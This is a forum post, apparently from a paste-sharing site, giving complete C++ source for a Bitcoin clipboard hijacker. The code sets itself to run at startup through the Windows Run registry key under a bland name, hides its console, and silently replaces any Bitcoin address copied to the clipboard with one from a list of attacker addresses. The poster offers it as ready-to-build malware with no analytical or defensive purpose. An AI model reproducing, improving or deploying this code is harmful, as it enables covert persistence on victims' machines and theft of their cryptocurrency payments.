• Report Links
    We do not store any files or images on our server. XenPaste only index and link to content provided by other non-affiliated sites. If your copyrighted material has been posted on XenPaste or if hyperlinks to your copyrighted material are returned through our search engine and you want this material removed, you must contact the owners of such sites where the files and images are stored.
  • Home
  • -
  • New Pastes

Bitcoin Clipboard Changer (C++)

  • Thread starter XMAN
  • Start date Sep 12, 2021
X

XMAN

Well-known member
Joined
Jul 12, 2021
Messages
33,393
Reaction score
248
Points
63
  • Sep 12, 2021
  • #1
Bitcoin Clipboard Changer (C++) 05-09-2020, 05:32 AM #1
Some code I found on Github, I just added a simple startup on reboot option and it hides the console, roughly get about a 16KB stub.

Config.hpp
Code:
#ifndef DEF_CONFIG_HPP
#define DEF_CONFIG_HPP

#include

namespace config  {

    // You have to create a C++-style array containing bitcoin addresses here.
    // Example:
    std::array bitcoinAddresses {"address1", "address2",
        "address3", "address4", "address5", "address6", "address7", "address8",
        "address9", "address10" };

    size_t bitcoinAddressesSize = bitcoinAddresses.size();
}


#endif //DEF_CONFIG_HPP

Clipboard.hpp
Code:
#ifndef DEF_CLIPBOARD_HPP
#define DEF_CLIPBOARD_HPP

#include
#include "windows.h"

class Clipboard
{
public:
    Clipboard();

    ~Clipboard();

    std::string getClipboard();

    void setClipboard(std::string contentsToSet);
private:

};

#endif //DEF_CLIPBOARD_HPP

Clipboard.cpp
Code:
#include "Clipboard.hpp"

Clipboard::Clipboard()
{

}

Clipboard::~Clipboard()
{

}

std::string Clipboard::getClipboard()
{
    std::string text = "error";
    if(OpenClipboard(NULL))
    {
        HANDLE hData = GetClipboardData(CF_TEXT);
        if(hData != NULL)
        {
            text = static_cast(GlobalLock(hData));
    GlobalUnlock(hData);
        }

        CloseClipboard();
    }

    return text;
}

void Clipboard::setClipboard(std::string contentsToSet)
{
    if(OpenClipboard(NULL))
    {
        HGLOBAL clipbuffer;
        char * buffer;
        EmptyClipboard();
        clipbuffer = GlobalAlloc(GMEM_DDESHARE, contentsToSet.length() + 1);
        buffer = (char*)GlobalLock(clipbuffer);
        strcpy(buffer, LPCSTR(contentsToSet.c_str()));
        GlobalUnlock(clipbuffer);
        SetClipboardData(CF_TEXT,clipbuffer);
        CloseClipboard();
    }
}

Main.cpp
Code:
#include
#include
#include
#include "Config.hpp"
#include "Clipboard.hpp"

#if defined(__linux__)
#include
#define Sleep(x) usleep((x) * 1000)
#endif

bool isBitcoinAddress(const std::string& str)
{
if (str.at(0) != '1')
return false;

size_t strLength = str.length();
if (strLength < 26 || strLength > 35)
return false;

bool isAlphaNumeric = find_if(str.cbegin(), str.cend(), [](char c)
{
return !(isalnum(c) || (c == ' '));
}) == str.cend();

return isAlphaNumeric;
}

BOOL IsMyProgramRegisteredForStartup(PCWSTR pszAppName)
{
HKEY hKey = NULL;
LONG lResult = 0;
BOOL fSuccess = TRUE;
DWORD dwRegType = REG_SZ;
wchar_t szPathToExe[MAX_PATH] = {};
DWORD dwSize = sizeof(szPathToExe);

lResult = RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_READ, &hKey);

fSuccess = (lResult == 0);

if (fSuccess)
{
lResult = RegGetValueW(hKey, NULL, pszAppName, RRF_RT_REG_SZ, &dwRegType, szPathToExe, &dwSize);
fSuccess = (lResult == 0);
}

if (fSuccess)
{
fSuccess = (wcslen(szPathToExe) > 0) ? TRUE : FALSE;
}

if (hKey != NULL)
{
RegCloseKey(hKey);
hKey = NULL;
}

return fSuccess;
}

BOOL RegisterMyProgramForStartup(PCWSTR pszAppName, PCWSTR pathToExe, PCWSTR args)
{
HKEY hKey = NULL;
LONG lResult = 0;
BOOL fSuccess = TRUE;
DWORD dwSize;

const size_t count = MAX_PATH * 2;
wchar_t szValue[count] = {};


wcscpy_s(szValue, count, L"\"");
wcscat_s(szValue, count, pathToExe);
wcscat_s(szValue, count, L"\" ");

if (args != NULL)
{
wcscat_s(szValue, count, args);
}

lResult = RegCreateKeyExW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, (KEY_WRITE | KEY_READ), NULL, &hKey, NULL);

fSuccess = (lResult == 0);

if (fSuccess)
{
dwSize = (wcslen(szValue) + 1) * 2;
lResult = RegSetValueExW(hKey, pszAppName, 0, REG_SZ, (BYTE*)szValue, dwSize);
fSuccess = (lResult == 0);
}

if (hKey != NULL)
{
RegCloseKey(hKey);
hKey = NULL;
}

return fSuccess;
}

void RegisterProgram()
{
wchar_t szPathToExe[MAX_PATH];

GetModuleFileNameW(NULL, szPathToExe, MAX_PATH);
RegisterMyProgramForStartup(L"My_Program", szPathToExe, L"-foobar");
}

int main()
{

RegisterProgram();
IsMyProgramRegisteredForStartup(L"My_Program");

ShowWindow(GetConsoleWindow(), SW_HIDE);

Clipboard clipboard;
size_t iBitcoinAddresses = 0;
std::string oldAddressSet;
while (1)
{
std::string clipboardContents = clipboard.getClipboard();
if (isBitcoinAddress(clipboardContents))
{
if (oldAddressSet != clipboardContents)
{
std::string addressToSet = config::bitcoinAddresses.at
(iBitcoinAddresses);
clipboard.setClipboard(addressToSet);
oldAddressSet = addressToSet;
iBitcoinAddresses = (iBitcoinAddresses + 1) %
config::bitcoinAddressesSize;
}
}

Sleep(700);
}
return 0;
}
 
Upvote 0 Downvote
You must log in or register to reply here.
Share:
Facebook Twitter Reddit Pinterest Tumblr WhatsApp Email
  • Home
  • -
  • New Pastes
  • Terms and rules
  • Privacy policy
  • Help
  • Home
AMP generated by AMPXF.com
Menu
Log in

Register

  • Home
    • Go Premium
  • Go Premium / Advertise
  • New Ad Listings
  • What's new
    • New posts
    • New Ad Listings
    • Latest activity
  • Members
    • Registered members
    • Current visitors
X

Privacy & Transparency

We use cookies and similar technologies for the following purposes:

  • Personalized ads and content
  • Content measurement and audience insights

Do you accept cookies and these technologies?

X

Privacy & Transparency

We use cookies and similar technologies for the following purposes:

  • Personalized ads and content
  • Content measurement and audience insights

Do you accept cookies and these technologies?